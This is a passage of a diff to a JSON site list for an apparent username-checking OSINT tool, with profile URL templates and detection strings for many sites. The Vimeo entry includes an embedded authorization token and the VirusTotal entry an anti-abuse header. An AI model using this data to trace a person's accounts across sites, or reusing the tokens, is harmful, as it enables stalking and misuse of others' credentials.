to like, share and comment" + ], + "url": "https://usa.life/{username}", + "usernameClaimed": "not1face", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Ustream": { + "tags": [ + "eg", + "us" + ], + "checkType": "status_code", + "alexaRank": 165667, + "urlMain": "http://www.ustream.tv", + "url": "http://www.ustream.tv/channel/adam{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Uvelir": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 3038429, + "urlMain": "https://uvelir.net/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Uwr1": { + "tags": [ + "de" + ], + "checkType": "status_code", + "urlMain": "http://uwr1.de", + "url": "http://uwr1.de/forum/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 2712529 + }, + "VC.ru": { + "similarSearch": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041c\u044b \u0432\u0441\u0435 \u0432\u043d\u0438\u043c\u0430\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u043b\u0438, \u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0448\u043b\u0438 :(" + ], + "alexaRank": 2408, + "urlMain": "https://vc.ru", + "url": "https://vc.ru/search/v2/subsite/relevant?query={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Viddler": { + "checkType": "message", + "absenceStrs": [ + "User not found" + ], + "presenseStrs": [ + "profile-details" + ], + "url": "https://www.viddler.com/channel/{username}/", + "usernameClaimed": "planphilly", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vine": { + "checkType": "message", + "absenceStrs": [ + "That record does not exist" + ], + "presenseStrs": [ + "userId" + ], + "url": "https://vine.co/api/users/profiles/vanity/{username}", + "usernameClaimed": "Seks", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vizjer.pl": { + "checkType": "message", + "absenceStrs": [ + "Ostatnie komentarze" + ], + "presenseStrs": [ + "Profil u\u017cytkownika" + ], + "url": "https://vizjer.pl/uzytkownik/{username}", + "usernameClaimed": "janek", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "VK": { + "tags": [ + "ru" + ], + "checkType": "response_url", + "regexCheck": "^(?!id\\d)\\w*$", + "alexaRank": 27, + "urlMain": "https://vk.com/", + "url": "https://vk.com/{username}", + "usernameClaimed": "smith", + "usernameUnclaimed": "blah62831" + }, + "VK (by id)": { + "tags": [ + "ru" + ], + "type": "vk_id", + "checkType": "response_url", + "alexaRank": 27, + "urlMain": "https://vk.com/", + "regexCheck": "^\\d+$", + "url": "https://vk.com/id{username}", + "source": "VK", + "usernameClaimed": "270433952", + "usernameUnclaimed": "2131232" + }, + "VKFaces": { + "tags": [ + "ru" + ], + "disabled": true, + "checkType": "status_code", + "alexaRank": 32067, + "urlMain": "https://vkfaces.com", + "url": "https://vkfaces.com/vk/user/{username}", + "source": "VK", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis777" + }, + "VKMOnline": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 62559, + "urlMain": "http://forums.vkmonline.com", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "VKruguDruzei": { + "tags": [ + "by", + "ru" + ], + "checkType": "response_url", + "alexaRank": 240272, + "urlMain": "http://vkrugudruzei.ru", + "url": "http://{username}.vkrugudruzei.ru/x/blog/all/", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7", + "disabled": true + }, + "Voice123": { + "checkType": "message", + "absenceStrs": [ + ">[]" + ], + "presenseStrs": [ + "user_id" + ], + "url": "https://voice123.com/api/providers/search/{username}", + "usernameClaimed": "maheshsaha1992", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "VSCO": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 6244, + "urlMain": "https://vsco.co/", + "url": "https://vsco.co/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vamber": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 263174, + "urlMain": "https://vamber.ru", + "url": "https://vamber.ru/author/{username}/", + "usernameClaimed": "irina", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vapenews": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041e\u0448\u0438\u0431\u043a\u0430 404" + ], + "presenseStrs": [ + "\u041b\u0438\u0447\u043d\u043e\u0435" + ], + "alexaRank": 981151, + "urlMain": "https://vapenews.ru/", + "url": "https://vapenews.ru/profile/{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "VegasCreativeSoftware": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "VEGAS Community" + ], + "urlMain": "https://www.vegascreativesoftware.info", + "url": "https://www.vegascreativesoftware.info/us/users/profile/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 162065 + }, + "Velomania": { + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 143862, + "urlMain": "https://forum.velomania.ru/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Venmo": { + "tags": [ + "finance", + "us" + ], + "checkType": "status_code", + "alexaRank": 3795, + "urlMain": "https://venmo.com/", + "url": "https://venmo.com/{username}", + "usernameClaimed": "jenny", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vero": { + "tags": [ + "in", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "<title>Error Page - VERO\u2122 \u2013 True Social" + ], + "alexaRank": 97361, + "urlMain": "https://vero.co", + "url": "https://vero.co/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vezha": { + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d" + ], + "alexaRank": 1949047, + "urlMain": "https://vezha.com/", + "url": "https://vezha.com/members/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vgtimes/Games": { + "tags": [ + "forum", + "ru" + ], + "checkType": "status_code", + "alexaRank": 17926, + "urlMain": "https://vgtimes.ru", + "url": "https://vgtimes.ru/games/{username}/forum/", + "usernameClaimed": "rfactor", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "VideogameGeek": { + "ignore403": true, + "tags": [ + "gaming", + "news" + ], + "checkType": "message", + "absenceStrs": [ + "User does not exist" + ], + "alexaRank": 817462, + "urlMain": "https://videogamegeek.com", + "url": "https://videogamegeek.com/user/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Videosift": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 146177, + "urlMain": "https://videosift.com", + "url": "https://videosift.com/member/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vimeo": { + "tags": [ + "video" + ], + "activation": { + "url": "https://vimeo.com/_rv/viewer", + "marks": [ + "Something strange occurred. Please get in touch" + ], + "method": "vimeo" + }, + "headers": { + "Authorization": "jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzQxMTc1NDAsInVzZXJfaWQiOm51bGwsImFwcF9pZCI6NTg0NzksInNjb3BlcyI6InB1YmxpYyIsInRlYW1fdXNlcl9pZCI6bnVsbCwianRpIjoiNDc4Y2ZhZGUtZjI0Yy00MDVkLTliYWItN2RlNGEzNGM4MzI5In0.guN7Fg8dqq7EYdckrJ-6Rdkj_5MOl6FaC4YUSOceDpU" + }, + "urlProbe": "https://api.vimeo.com/users/{username}?fields=name%2Cgender%2Cbio%2Curi%2Clink%2Cbackground_video%2Clocation_details%2Cpictures%2Cverified%2Cmetadata.public_videos.total%2Cavailable_for_hire%2Ccan_work_remotely%2Cmetadata.connections.videos.total%2Cmetadata.connections.albums.total%2Cmetadata.connections.followers.total%2Cmetadata.connections.following.total%2Cmetadata.public_videos.total%2Cmetadata.connections.vimeo_experts.is_enrolled%2Ctotal_collection_count%2Ccreated_time%2Cprofile_preferences%2Cmembership%2Cclients%2Cskills%2Cproject_types%2Crates%2Ccategories%2Cis_expert%2Cprofile_discovery%2Cwebsites%2Ccontact_emails&fetch_user_profile=1", + "checkType": "status_code", + "alexaRank": 148, + "urlMain": "https://vimeo.com", + "url": "https://vimeo.com/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "smbepezbrg" + }, + "Virgool": { + "disabled": true, + "tags": [ + "blog", + "ir" + ], + "checkType": "status_code", + "absenceStrs": [ + "\u06f4\u06f0\u06f4" + ], + "alexaRank": 1457, + "urlMain": "https://virgool.io/", + "url": "https://virgool.io/@{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "VirtualIreland": { + "tags": [ + "forum", + "ie", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 217316, + "urlMain": "https://www.virtualireland.ru", + "usernameClaimed": "Lee", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "VirusTotal": { + "disabled": true, + "tags": [ + "in" + ], + "headers": { + "accept-language": "en-US,en;q=0.9,es;q=0.8", + "user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36", + "x-tool": "vt-ui-main", + "x-vt-anti-abuse-header": "MTM0NTMxNTA3MTItWkc5dWRDQmlaU0JsZG1scy0xNjA3NDMzMzM3LjI3MQ==" + }, + "errors": { + "RecaptchaRequiredError": "Captcha detected" + }, + "checkType": "message", + "absenceStrs": [ + "not found" + ], + "alexaRank": 5140, + "urlMain": "https://www.virustotal.com/", + "url": "https://www.virustotal.com/ui/users/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "VitalFootball": { + "tags": [ + "forum", + "gb", + "in", + "pk" + ], + "engine": "XenForo", + "alexaRank": 756177, + "urlMain": "https://forums.vitalfootball.co.uk", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vivino": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 10337, + "urlMain": "https://www.vivino.com/", + "url": "https://www.vivino.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vlmi": { + "tags": [ + "forum", + "ru", + "ua" + ], + "engine": "XenForo", + "alexaRank": 765896, + "urlMain": "https://vlmi.biz", + "usernameClaimed": "mixa", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Voices": { + "tags": [ + "us" + ], + "checkType": "status_code", + "alexaRank": 17303, + "urlMain": "https://www.voices.com/", + "url": "https://www.voices.com/actors/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Voicesevas": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 202518, + "urlMain": "http://voicesevas.ru", + "url": "http://voicesevas.ru/user/{username}/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Volgograd Forum": { + "tags": [ + "forum", + "ru", + "us" + ], + "engine": "XenForo", + "alexaRank": 180115, + "urlMain": "https://www.forum-volgograd.ru", + "usernameClaimed": "kajuga", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Volgogradru": { + "tags": [ + "ru" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c" + ], + "alexaRank": 1570931, + "urlMain": "http://www.volgogradru.com", + "url": "http://www.volgogradru.com/users/{username}/", + "usernameClaimed": "rezook", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Volkodavcaoko": { + "tags": [ + "forum", + "kz", + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u043f\u0440\u043e\u0444\u0438\u043b\u044c \u0437\u0430\u0431\u0430\u043d\u0435\u043d \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0435\u043d" + ], + "alexaRank": 790771, + "urlMain": "https://volkodavcaoko.forum24.ru", + "url": "https://volkodavcaoko.forum24.ru/?32-{username}", + "usernameClaimed": "itaka", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Votetags": { + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + " looking for. Perhaps searching can help.", + "", + "Page not found" + ], + "alexaRank": 39522, + "urlMain": "https://www.votetags.info/", + "url": "https://www.votetags.info/author/{username}/", + "usernameClaimed": "danphillip", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Vsemayki": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "404 Not Found" + ], + "alexaRank": 38002, + "urlMain": "https://www.vsemayki.ru/", + "url": "https://www.vsemayki.ru/designer/{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Vxzone": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "alexaRank": 147726, + "urlMain": "https://www.vxzone.com", + "url": "https://www.vxzone.com/forum/search.php?keywords=&terms=all&author={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "W3challs": { + "tags": [ + "tn", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "<title>404 Page not found \u2013 W3Challs Hacking Challenges" + ], + "alexaRank": 641078, + "urlMain": "https://w3challs.com/", + "url": "https://w3challs.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "W3Schools": { + "tags": [ + "education", + "us" + ], + "checkType": "status_code", + "urlMain": "https://www.w3schools.com/", + "url": "https://pathfinder-api.kai.w3spaces.com/public-profile-api/{username}", + "usernameClaimed": "rly0nheart", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "W7forums": { + "engine": "XenForo", + "alexaRank": 594741, + "urlMain": "https://www.w7forums.com", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "tags": [ + "forum" + ] + }, + "WOW Circle": { + "tags": [ + "forum", + "it", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 74356, + "urlMain": "https://forum.wowcircle.net", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wakatime": { + "tags": [ + "ng", + "ve" + ], + "checkType": "status_code", + "alexaRank": 43749, + "urlMain": "https://wakatime.com", + "url": "https://wakatime.com/@{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wanelo": { + "tags": [ + "in", + "us" + ], + "checkType": "status_code", + "alexaRank": 29466, + "urlMain": "https://wanelo.co/adam", + "url": "https://wanelo.co/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Warface": { + "urlSubpath": "/forums", + "tags": [ + "forum", + "ru" + ], + "engine": "vBulletin", + "alexaRank": 49, + "urlMain": "https://wf.mail.ru", + "usernameClaimed": "wizard", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Warhammergames": { + "disabled": true, + "tags": [ + "ru", + "ua" + ], + "engine": "uCoz", + "alexaRank": 1175634, + "urlMain": "https://warhammergames.ru", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Warrior Forum": { + "tags": [ + "forum", + "us" + ], + "checkType": "status_code", + "alexaRank": 2772, + "urlMain": "https://www.warriorforum.com/", + "url": "https://www.warriorforum.com/members/{username}.html", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Watchmemore.com": { + "checkType": "message", + "absenceStrs": [ + "notExists" + ], + "presenseStrs": [ + "displayName" + ], + "url": "https://api.watchmemore.com/api3/profile/{username}/", + "usernameClaimed": "medroxy", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wattpad": { + "tags": [ + "reading", + "writing" + ], + "checkType": "message", + "absenceStrs": [ + "userError-404" + ], + "alexaRank": 805, + "urlMain": "https://www.wattpad.com/", + "url": "https://www.wattpad.com/user/{username}", + "usernameClaimed": "Dogstho7951", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Waveapps": { + "disabled": true, + "tags": [ + "ca", + "us" + ], + "checkType": "status_code", + "alexaRank": 2044, + "urlMain": "https://community.waveapps.com", + "url": "https://community.waveapps.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Waypoint": { + "tags": [ + "forum", + "us" + ], + "engine": "Discourse", + "urlMain": "https://forum.waypoint.vice.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1734, + "disabled": true + }, + "Waytothelight": { + "disabled": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + ], + "urlMain": "https://waytothelight.mybb.ru/", + "url": "https://waytothelight.mybb.ru/search.php?action=search&keywords=&author={username}", + "usernameClaimed": "lana", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 40212 + }, + "We Heart It": { + "disabled": true, + "tags": [ + "blog", + "in", + "photo" + ], + "checkType": "message", + "absenceStrs": [ + "Oops! You've landed on a moving target!" + ], + "alexaRank": 4097, + "urlMain": "https://weheartit.com/", + "url": "https://weheartit.com/{username}", + "usernameClaimed": "ventivogue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Weasyl": { + "tags": [ + "in" + ], + "checkType": "status_code", + "alexaRank": 314161, + "urlMain": "https://www.weasyl.com", + "url": "https://www.weasyl.com/~{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WebNode": { + "tags": [ + "cz", + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 46908, + "urlMain": "https://www.webnode.cz/", + "url": "https://{username}.webnode.cz/", + "usernameClaimed": "radkabalcarova", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Weblancer": { + "tags": [ + "freelance", + "ru" + ], + "checkType": "response_url", + "alexaRank": 35189, + "urlMain": "https://www.weblancer.net", + "url": "https://www.weblancer.net/users/{username}/", + "usernameClaimed": "alraa", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Weburg": { + "similarSearch": true, + "tags": [ + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "»," + ], + "alexaRank": 167944, + "urlMain": "https://weburg.net", + "url": "https://weburg.net/search?where=10&search=1&q={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Weedmaps": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "Find Marijuana Dispensaries, Brands" + ], + "alexaRank": 7929, + "urlMain": "https://weedmaps.com", + "url": "https://weedmaps.com/brands/{username}", + "usernameClaimed": "adams", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Weforum": { + "tags": [ + "forum", + "us" + ], + "checkType": "status_code", + "alexaRank": 3611, + "urlMain": "https://www.weforum.org", + "url": "https://www.weforum.org/people/{username}", + "usernameClaimed": "adam-leismark", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wego.social": { + "checkType": "message", + "absenceStrs": [ + "Sorry, page not found!" + ], + "presenseStrs": [ + "Following</span>" + ], + "url": "https://wego.social/{username}", + "usernameClaimed": "Lisa_M_S", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Weld": { + "tags": [ + "ru", + "ua" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + ], + "alexaRank": 3040233, + "urlMain": "https://weld.in.ua", + "url": "https://weld.in.ua/forum/member.php/?username={username}", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Whonix Forum": { + "tags": [ + "forum", + "in", + "ir", + "tech", + "us" + ], + "engine": "Discourse", + "alexaRank": 254571, + "urlMain": "https://forums.whonix.org/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Whyislam": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "ru" + ], + "engine": "phpBB", + "alexaRank": 905247, + "urlMain": "https://www.whyislam.to", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WicgForum": { + "checkType": "message", + "regexCheck": "^(?![.-])[a-zA-Z0-9_.-]{3,20}$", + "absenceStrs": [ + "<title>WICG" + ], + "presenseStrs": [ + " Profile -" + ], + "url": "https://discourse.wicg.io/u/{username}/summary", + "usernameClaimed": "stefano", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Wiki.vg": { + "checkType": "status_code", + "url": "https://wiki.vg/User:{username}", + "usernameClaimed": "Auri", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wikidot": { + "tags": [ + "us" + ], + "checkType": "message", + "absenceStrs": [ + "User does not exist." + ], + "presenseStrs": [ + "Wikidot user since" + ], + "alexaRank": 3805, + "urlMain": "http://www.wikidot.com/", + "url": "http://www.wikidot.com/user:info/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WikimapiaProfile": { + "tags": [ + "maps", + "ru" + ], + "type": "wikimapia_uid", + "checkType": "message", + "absenceStrs": [ + "January 01, 1970" + ], + "alexaRank": 8581, + "urlMain": "http://wikimapia.org", + "url": "http://wikimapia.org/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "WikimapiaSearch": { + "tags": [ + "maps", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "<td>20</td>" + ], + "alexaRank": 8581, + "urlMain": "http://wikimapia.org", + "url": "http://wikimapia.org/user/tools/users_rating/?username={username}", + "caseSentitive": true, + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis77777" + }, + "Wikipedia": { + "tags": [ + "wiki" + ], + "checkType": "message", + "absenceStrs": [ + "is not registered", + "Wikipedia does not have a" + ], + "alexaRank": 12, + "urlMain": "https://www.wikipedia.org/", + "url": "https://www.wikipedia.org/wiki/User:{username}", + "usernameClaimed": "Hoadlck", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WimkinPublicProfile": { + "checkType": "message", + "absenceStrs": [ + " The page you are looking for cannot be found." + ], + "presenseStrs": [ + "is on WIMKIN" + ], + "url": "https://wimkin.com/{username}", + "usernameClaimed": "alex", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Winamp": { + "disabled": true, + "tags": [ + "forum", + "us" + ], + "engine": "vBulletin", + "alexaRank": 52948, + "urlMain": "http://forums.winamp.com", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Windows10forums": { + "tags": [ + "forum", + "in", + "us" + ], + "engine": "XenForo", + "alexaRank": 197218, + "urlMain": "https://www.windows10forums.com/", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Windowsforum": { + "tags": [ + "forum", + "in", + "us" + ], + "checkType": "message", + "absenceStrs": [ + "The specified member cannot be found" + ], + "alexaRank": 266446, + "urlMain": "https://windowsforum.com", + "url": "https://windowsforum.com/members/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Windy": { + "disabled": true, + "tags": [ + "in", + "jp", + "kr", + "pl", + "us" + ], + "checkType": "status_code", + "alexaRank": 2201, + "urlMain": "https://windy.com/", + "url": "https://community.windy.com/user/{username}", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wireclub": { + "tags": [ + "in", + "tr", + "us" + ], + "checkType": "response_url", + "alexaRank": 484535, + "urlMain": "https://www.wireclub.com", + "url": "https://www.wireclub.com/users/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WiredNewYork": { + "urlSubpath": "/forum", + "tags": [ + "forum", + "in", + "pk", + "us" + ], + "errors": { + "Wired New York forum maintenance": "Site maintenance" + }, + "engine": "vBulletin", + "alexaRank": 1747505, + "urlMain": "http://wirednewyork.com/", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wishlistr": { + "tags": [ + "in", + "se" + ], + "checkType": "response_url", + "alexaRank": 27978, + "urlMain": "https://www.wishlistr.com", + "url": "https://www.wishlistr.com/profile/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wittyprofiles": { + "tags": [ + "in" + ], + "checkType": "message", + "absenceStrs": [ + "It looks like you are looking for something that isn't here." + ], + "alexaRank": 1736838, + "urlMain": "http://www.wittyprofiles.com/", + "url": "http://www.wittyprofiles.com/author/{username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wix": { + "tags": [ + "us" + ], + "regexCheck": "^[^\\.]+$", + "checkType": "status_code", + "alexaRank": 186, + "urlMain": "https://wix.com/", + "url": "https://{username}.wix.com", + "usernameClaimed": "support", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WolniSlowianie": { + "checkType": "message", + "absenceStrs": [ + "Nie znaleziono strony, kt\u00f3rej szukasz." + ], + "presenseStrs": [ + "O\u015b czasu" + ], + "url": "https://wolnislowianie.pl/{username}", + "usernameClaimed": "janek", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Wolpy": { + "tags": [ + "travel" + ], + "checkType": "status_code", + "alexaRank": 107661, + "urlMain": "http://wolpy.com", + "url": "http://wolpy.com/{username}/profile", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wordnik": { + "checkType": "message", + "absenceStrs": [ + "Wordnik: Page Not Found" + ], + "presenseStrs": [ + "Welcome," + ], + "url": "https://www.wordnik.com/users/{username}", + "usernameClaimed": "elle", + "usernameUnclaimed": "noonewouldusethis7" + }, + "WordPress": { + "tags": [ + "blog" + ], + "regexCheck": "^[a-zA-Z][a-zA-Z0-9_-]*$", + "checkType": "response_url", + "alexaRank": 53, + "urlMain": "https://wordpress.com", + "url": "https://{username}.wordpress.com/", + "errorUrl": "wordpress.com/typo/?subdomain=", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WordPressOrg": { + "tags": [ + "in" + ], + "checkType": "response_url", + "alexaRank": 368, + "urlMain": "https://wordpress.org/", + "url": "https://profiles.wordpress.org/{username}/", + "errorUrl": "https://wordpress.org", + "usernameClaimed": "blue", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WordpressSupport": { + "checkType": "message", + "absenceStrs": [ + "User not found" + ], + "presenseStrs": [ + "s Profile | WordPress.org" + ], + "url": "https://wordpress.org/support/users/{username}/", + "usernameClaimed": "test", + "usernameUnclaimed": "noonewouldusethis7" + }, + "Worldofplayers": { + "tags": [ + "forum", + "ru" + ], + "engine": "XenForo", + "alexaRank": 436032, + "urlMain": "https://worldofplayers.ru", + "usernameClaimed": "zern", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "WorlfOfTanksForum": { + "tags": [ + "forum", + "ru" + ], + "checkType": "message", + "absenceStrs": [ + "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d" + ], + "alexaRank": 2410869, + "urlMain": "https://forum.wotanks.com", + "url": "https://forum.wotanks.com/member.php/?username={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wot-game": { + "tags": [ + "ru" + ], + "checkType": "status_code", + "alexaRank": 2727598, + "urlMain": "https://wot-game.com", + "url": "https://wot-game.com/user/{username}/", + "usernameClaimed": "red", + "usernameUnclaimed": "noonewouldeverusethis7" + }, + "Wowhead": { + "tags": [ + "gaming", + "us" + ], + "checkType": "status_code", + "urlMain": "https://www.wowhead.com", + "url": "https://www.wowhead.com/user={username}", + "usernameClaimed": "adam", + "usernameUnclaimed": "noonewouldeverusethis7", + "alexaRank": 1325 + }, + "Writercenter": { + "tags": [ + "ru", + "ua" + ], + "checkType": "status_code", + "urlMain": "https://writercenter.ru", + "url": "https://writercenter.ru/profile/{username}/", + 